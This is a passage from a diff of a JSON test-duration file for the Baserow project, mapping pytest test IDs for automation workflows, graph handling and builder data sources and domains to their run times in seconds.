"tests/baserow/contrib/automation/workflows/test_actions.py::test_duplicate_do": 0.11720954198972322, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_duplicate_redo": 0.13081491595949046, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_duplicate_undo": 0.11850158299785107, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_order_do": 0.11481262400047854, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_order_redo": 0.124501834041439, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_order_undo": 0.11752358297235332, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_update_do": 0.10249595899949782, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_update_redo": 0.11308624999946915, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_update_undo": 0.10830441699363291, + "tests/baserow/contrib/automation/workflows/test_automation_trash_types.py::test_workflow_trashable_get_name": 0.09158820801530965, + "tests/baserow/contrib/automation/workflows/test_automation_trash_types.py::test_workflow_trashable_get_parent": 0.09261808401788585, + "tests/baserow/contrib/automation/workflows/test_automation_trash_types.py::test_workflow_trashable_get_restore_operation_type": 0.014843165961792693, + "tests/baserow/contrib/automation/workflows/test_automation_trash_types.py::test_workflow_trashable_permanently_delete_item": 0.13440454099327326, + "tests/baserow/contrib/automation/workflows/test_automation_trash_types.py::test_workflow_trashable_restore": 0.09703758402611129, + "tests/baserow/contrib/automation/workflows/test_automation_trash_types.py::test_workflow_trashable_trash": 0.09465775097487494, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_children[1-expected_result0]": 0.014258334005717188, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_children[10-expected_result4]": 0.014470291003817692, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_children[3-expected_result1]": 0.014203916012775153, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_children[8-expected_result2]": 0.014230832981411368, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_children[9-expected_result3]": 0.014438165962928906, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_last_position": 0.014512124005705118, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[1--expected_result0]": 0.017066874977899715, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[10--expected_result7]": 0.014776624972000718, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[2--expected_result1]": 0.016312499006744474, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[4--expected_result3]": 0.01643937500193715, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[4-None-expected_result2]": 0.018091874982928857, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[4-missing-expected_result5]": 0.01564904101542197, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[4-randomUid-expected_result4]": 0.016209375025937334, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_next_nodes[9--expected_result6]": 0.016048582969233394, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[1-child--None]": 0.014279958966653794, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[1-south--Node 2]": 0.014722583000548184, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[3-child--Node 7]": 0.014412958960747346, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[3-south--Node 4]": 0.014488791988696903, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[4-south--Node 5]": 0.014461248996667564, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[4-south-randomUid-Node 9]": 0.014370416989549994, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[9-child--Node 10]": 0.014232749992515892, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[9-south--None]": 0.015032833034638315, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[9-south-randomUid-None]": 0.014524833968607709, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position[None-south--Node 1]": 0.015415792033309117, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_node_at_position_empty_graph": 0.01441520798834972, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[1-expected_result0]": 0.01441520798834972, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[10-expected_result9]": 0.014239834010368213, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[2-expected_result1]": 0.014075416984269395, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[3-expected_result2]": 0.014188374043442309, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[4-expected_result3]": 0.014421082974877208, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[5-expected_result4]": 0.014107874012552202, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[6-expected_result5]": 0.01407862501218915, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[7-expected_result6]": 0.014248417021008208, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[8-expected_result7]": 0.014358499989612028, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_position[9-expected_result8]": 0.015000707993749529, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[1-expected_result0]": 0.014323249022709206, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[10-expected_result6]": 0.01565099900471978, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[11-None]": 0.015777041960973293, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[2-expected_result1]": 0.014435165969189256, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[3-expected_result2]": 0.014263292017858475, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[6-expected_result3]": 0.014176875003613532, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[8-expected_result4]": 0.015167500008828938, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_get_previous_position[9-expected_result5]": 0.01549979200353846, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert[11-1-south--expected_result0]": 0.014469584013568237, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert[11-3-child--expected_result2]": 0.015335373987909406, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert[11-3-south--expected_result1]": 0.01512383299996145, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert[11-4-south-randomUid-expected_result5]": 0.014394916972378269, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert[11-7-south--expected_result3]": 0.014599709014873952, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert[11-9-south--expected_result4]": 0.014414834004128352, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert[11-None-south--expected_result6]": 0.01454554297379218, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_insert_first_node": 0.014627625001594424, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_migrate": 0.01725254103075713, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_move[2-3-child--expected_result1]": 0.014344082970637828, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_move[2-3-south--expected_result0]": 0.014531041000736877, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_move[2-4-south-randomUid-expected_result2]": 0.014195623982232064, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_move[7-3-south-randomUid-expected_result3]": 0.014203791972249746, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_move[8-9-south-anotherUid-expected_result4]": 0.014985249988967553, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_remove[1-expected_result0]": 0.014195334020769224, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_remove[2-expected_result1]": 0.01417487600701861, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_remove[3-expected_result2]": 0.014338583016069606, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_remove[4-expected_result3]": 0.015167166013270617, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_remove_last_node": 0.014099041960434988, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_replace[1-11-expected_result0]": 0.014507707994198427, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_replace[3-11-expected_result1]": 0.015172543004155159, + "tests/baserow/contrib/automation/workflows/test_graph_handler.py::test_graph_handler_replace[4-11-expected_result2]": 0.01453541693626903, + "tests/baserow/contrib/automation/workflows/test_models.py::test_automation_workflow_get_parent": 0.09435850000591017, + "tests/baserow/contrib/automation/workflows/test_object_scopes.py::test_raises_if_scope_type_invalid": 0.016575876012211666, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_check_is_rate_limited_raises_if_above_limit": 0.03776129204197787, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_check_is_rate_limited_returns_none_if_below_limit": 0.04382345802150667, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_check_is_rate_limited_returns_none_if_cache_expires": 0.06286016700323671, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_check_is_rate_limited_returns_none_if_empty_cache": 0.05799458399997093, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_check_too_many_errors_raises_if_above_limit": 0.10249399999156594, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_check_too_many_errors_returns_none_if_below_limit": 0.10789224901236594, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_create_workflow": 0.09249658297630958, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_create_workflow_integrity_error": 0.09396845800802112, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_create_workflow_name_not_unique": 0.094621249998454, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_delete_workflow": 0.16659841599175707, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_disable_workflow_disables_original_workflow": 0.1245023749943357, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_disable_workflow_disables_published_workflow": 0.20284916699165478, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_duplicate_workflow": 0.10887200105935335, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_duplicate_workflow_with_nodes": 0.41679920902242884, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_export_prepared_values": 0.09473187496769242, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_original_workflow_returns_original_workflow": 0.18016058299690485, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_published_workflow_returns_none": 0.10003416700055823, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_published_workflow_returns_workflow": 0.12211687499075197, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_rate_limit_cache_key[100]": 0.01452387502649799, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_rate_limit_cache_key[10]": 0.014310168044175953, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_rate_limit_cache_key[200]": 0.013514624966774136, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_rate_limit_cache_key[300]": 0.013567707996116951, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_workflow": 0.09836783396895044, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_workflow_base_queryset": 0.09364341699983925, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_workflow_does_not_exist": 0.0185136660002172, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_workflow_excludes_trashed_application": 0.09775220800656825, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_workflows": 0.09780020799371414, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_get_workflows_excludes_trashed_application": 0.10008337502949871, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_import_workflow_only": 0.019984834012575448, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_order_workflows": 0.031011832965305075, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_order_workflows_excludes_trashed_application": 0.1002267490257509, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_order_workflows_not_in_automation": 0.03410045796772465, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_publish_cleans_up_old_workflows": 0.2997789179789834, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_publish_only_exports_specific_workflow": 0.129466666985536, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_publish_returns_published_workflow": 0.11941075001959689, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_toggle_simulate_mode_off": 0.09837112500099465, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_toggle_simulate_mode_on": 0.10012504199403338, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_toggle_simulate_mode_on_immediate": 0.09305987402331084, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_toggle_test_mode_off": 0.09441200096625835, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_toggle_test_mode_on": 0.13164337500347756, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_toggle_test_mode_on_immediate": 0.307179791998351, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_trashing_workflow_deletes_published_workflow": 0.15608895898913033, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_update_workflow": 0.09528325003338978, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_update_workflow_correctly_pauses_published_workflow": 0.12435220900806598, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_update_workflow_integrity_error": 0.09870333399157971, + "tests/baserow/contrib/automation/workflows/test_workflow_handler.py::test_update_workflow_name_not_unique": 0.09870633299578913, + "tests/baserow/contrib/automation/workflows/test_workflow_job_types.py::test_atomic_context": 0.013565748988185078, + "tests/baserow/contrib/automation/workflows/test_workflow_job_types.py::test_prepare_values": 0.09548170902417041, + "tests/baserow/contrib/automation/workflows/test_workflow_job_types.py::test_run": 0.10601104199304245, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_async_publish_raises_user_not_in_workspace": 0.15829104202566668, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_async_publish_starts_job": 0.09729170802165754, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_create_workflow": 0.09265254100318998, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_create_workflow_user_not_in_workspace": 0.09239312499994412, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_delete_workflow_user_not_in_workspace": 0.40030275098979473, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_duplicate_workflow": 0.10465679102344438, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_duplicate_workflow_user_not_in_workspace": 0.15934608402312733, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_get_workflow_raises_does_not_exist": 0.08330370701150969, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_get_workflow_returns_workflow": 0.09528508299263194, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_get_workflow_user_not_in_workspace": 0.09224637597799301, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_order_workflows_not_in_automation": 0.16708258402650245, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_order_workflows_user_not_in_workspace": 0.09596629303996451, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_publish_raises_user_not_in_workspace": 0.15711687403381802, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_publish_workflow": 0.10762487503234297, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_update_workflow_ignores_invalid_values": 0.09469041600823402, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_update_workflow_user_not_in_workspace": 0.09246095703565516, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_workflow_created_signal_sent": 0.09266825002850965, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_workflow_deleted_signal_sent": 0.09546279298956506, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_workflow_updated_signal_sent": 0.09475137598928995, + "tests/baserow/contrib/automation/workflows/test_workflow_service.py::test_workflows_reordered_signal_sent": 0.10150212497683242, + "tests/baserow/contrib/automation/workflows/test_workflow_tasks.py::test_run_workflow_disables_workflow_if_too_many_consecutive_errors": 0.17658875000779517, + "tests/baserow/contrib/automation/workflows/test_workflow_tasks.py::test_run_workflow_disables_workflow_if_too_many_errors": 0.1941757089807652, + "tests/baserow/contrib/automation/workflows/test_workflow_tasks.py::test_run_workflow_dispatch_error_creates_workflow_history": 0.18001508302404545, + "tests/baserow/contrib/automation/workflows/test_workflow_tasks.py::test_run_workflow_success_creates_workflow_history": 0.11105929099721834, + "tests/baserow/contrib/automation/workflows/test_workflow_tasks.py::test_run_workflow_unexpected_error_creates_workflow_history": 0.1798955419799313, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_serializers.py::test_get_record_ids_serializer[data0-expected0-True]": 0.01329845903092064, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_serializers.py::test_get_record_ids_serializer[data1-expected1-True]": 0.012822291027987376, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_serializers.py::test_get_record_ids_serializer[data2-expected2-True]": 0.012726624991046265, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_serializers.py::test_get_record_ids_serializer[data3-expected3-False]": 0.012750206980854273, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_serializers.py::test_get_record_ids_serializer[data4-expected4-False]": 0.0130972929764539, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source": 0.13240745902294293, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_bad_request": 0.09506695900927298, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_page_does_not_exist": 0.08622337496490218, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_permission_denied": 0.0936205830075778, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_with_service_type_for_different_dispatch_type": 0.0987893340352457, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_with_with_name_conflict": 0.10044158401433378, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_delete_data_source": 0.1235034590063151, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_delete_data_source_data_source_not_exist": 0.08685074897948653, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_delete_data_source_permission_denied": 0.10429095895960927, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source": 0.20009954296983778, "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_improperly_configured": 0.20056916599969554, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_permission_denied": 0.18461074999959237, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_using_formula": 0.19529508399955375, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources": 0.22670712499984802, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_get_data_sources": 0.5816842499998529, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_bad_before_id": 0.29148937500121974, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_before": 0.5613329589996283, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_before_not_in_same_page": 0.5609007920002114, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_empty_payload": 0.5563053739997486, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_null_before_id": 0.5584795419999864, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source": 0.310259834000135, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_bad_request": 0.2867919179998353, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_change_type": 0.3167093339998246, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_compatible_integration_is_persisted": 0.30253466599970125, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_does_not_exist": 0.14910241799952928, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_with_filters": 0.33151374999943073, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_with_service_type_for_different_dispatch_type": 0.290639500000907, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_ask_public_builder_domain_exists": 0.42956312599926605, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_ask_public_builder_domain_exists_with_public_backend_and_web_frontend_domains": 0.013348499999665364, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_builder_missing_domain_name": 0.28550704199915344, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_data_source_of_public_builder": 0.7077917920014443, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_data_source_of_public_builder_permission_denied": 0.2881476680013293, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_elements_of_public_builder": 0.7040599580004709, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_elements_of_public_builder_permission_denied": 0.2886393750004572, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_non_public_builder": 0.2904595820000395, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_public_builder_by_domain_name": 0.45745774999977584, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_public_builder_by_id": 0.3084600430001956, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_public_builder_by_id_other_user": 0.29529683400051, - "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_publish_builder": 0.4589246669993372, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain": 0.15350104200024361, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_application_does_not_exist": 0.15410033200078033, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_domain_already_exists": 0.2810852499997054, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_invalid_domain_name": 0.14599583300059749, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_user_not_in_workspace": 0.15276462499878107, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_invalid_sub_domain": 0.1544318750002276, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_delete_domain": 0.3021554170018135, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_delete_domain_domain_not_exist": 0.14557320800031448, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_delete_domain_user_not_in_workspace": 0.28451120799945784, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_get_domains": 0.42544529199949466, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_get_domains_builder_doesnt_exist": 0.15213245799986908, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains": 0.43071204199895874, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains_application_does_not_exist": 0.43944220800040057, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains_domain_not_in_builder": 0.45108116600113135, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains_user_not_in_workspace": 0.4264590840002711, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain": 0.2939315000003262, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain_domain_does_not_exist": 0.14941120900039095, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain_name_uniqueness": 0.1633436249994702, - "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain_with_same_name": 0.1608666660004019, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_can_create_a_column_element": 0.1514309999993202, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_can_get_a_column_element": 0.15170212500015623, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_column_amount_errors": 0.15324916700046742, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_column_gap_errors": 0.15469466600006854, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_invalid_child_in_container_on_create": 0.15438279200043326, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_invalid_child_in_container_on_move": 0.28876900099930936, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_elements_moved_when_column_is_removed": 0.165890250999837, - "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_moving_an_element_to_new_column_appends_element": 0.16139841800031718, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_can_move_element_inside_container": 0.556069041000228, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_child_type_not_allowed_validation": 0.2886813759996585, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_choice_options_created": 0.15747224999995524, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_choice_options_deleted": 0.2891233750005995, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_choice_options_updated": 0.28994329199940694, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_collection_element_type_with_invalid_data_source_id": 0.42538066700035415, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element": 0.1639524589991197, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_permission_denied": 0.2554549580090679, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_raises_service_improperly_configured": 0.22071545798098668, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_using_formula": 0.184177791030379, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_view": 0.022805042972322553, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_with_adhoc_filters": 0.2955337919993326, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_with_adhoc_search": 0.5786859170475509, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_with_adhoc_sortings": 0.30089216597843915, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_with_element_from_different_page": 0.20274600095581263, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_with_element_from_shared_page": 0.264347334014019, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_with_non_collection_element": 0.24438779096817598, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source_with_refinements_referencing_trashed_field": 0.1713262920093257, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources": 0.20125974997063167, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_get_and_list_rows_with_elements": 0.5627914989890996, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_get_row_with_elements[1-0]": 0.42430791596416384, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_get_row_with_elements[2-1]": 0.40645362497889437, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_get_row_with_elements[3-2]": 0.4142326679721009, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_list_rows_with_elements": 0.41181783299543895, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_perf": 0.0002157080452889204, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_view": 0.016118835017550737, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_with_formula_using_datasource_calling_a_shared_data_source": 0.23033662501256913, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_sources_with_formula_using_datasource_calling_an_other": 0.24061858400818892, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_only_shared_data_sources": 0.20542437600670382, 